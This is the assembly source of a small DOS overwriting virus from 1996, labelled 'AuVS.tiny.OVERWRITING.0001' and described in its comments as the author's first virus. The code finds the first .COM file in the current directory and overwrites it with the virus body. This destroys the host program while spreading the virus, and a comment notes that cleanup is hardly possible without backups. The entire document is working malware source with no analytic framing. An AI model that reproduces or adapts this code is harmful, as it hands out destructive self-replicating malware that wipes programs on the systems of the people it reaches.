;AuVS.tiny.OVERWRITING.0001

;My 1st VIRUS!!!!!!!!!!!!!!

;This is an extremely simple overwriting, tiny virus, that is easy to 

;detect, but there's not much to do to clean it if you have no backups

;F-PROT detects this as an unknown TRIVIAL variant

START:

	mov ah,4Eh              ;Find first *.COM file in current dir

	lea dx,OFFSET MASK      ;*.COM

	xor cx,cx               ;xero out da register

	int 21h                 ;find

	mov dx,009Eh            ;file handle

	mov ax,3D01h            ;open file for writing

	int 21h                 ;do it

	mov bx,ax               ;put handle in bx

	mov ah,40h              ;write to file

	mov cx,END - START      ;find size of file even if modified

	lea dx,OFFSET START     ;the START

	int 21h                 ;WRITE IT, DAMN IT!!

	int 20h                 ;END IT ALL

Mask            db      '*.COM',0

Copyright       db      'Copyright `96, KALiPORNiA'

VirusName       db      'AuVS.TINY.OVERWRITING.0001'

END: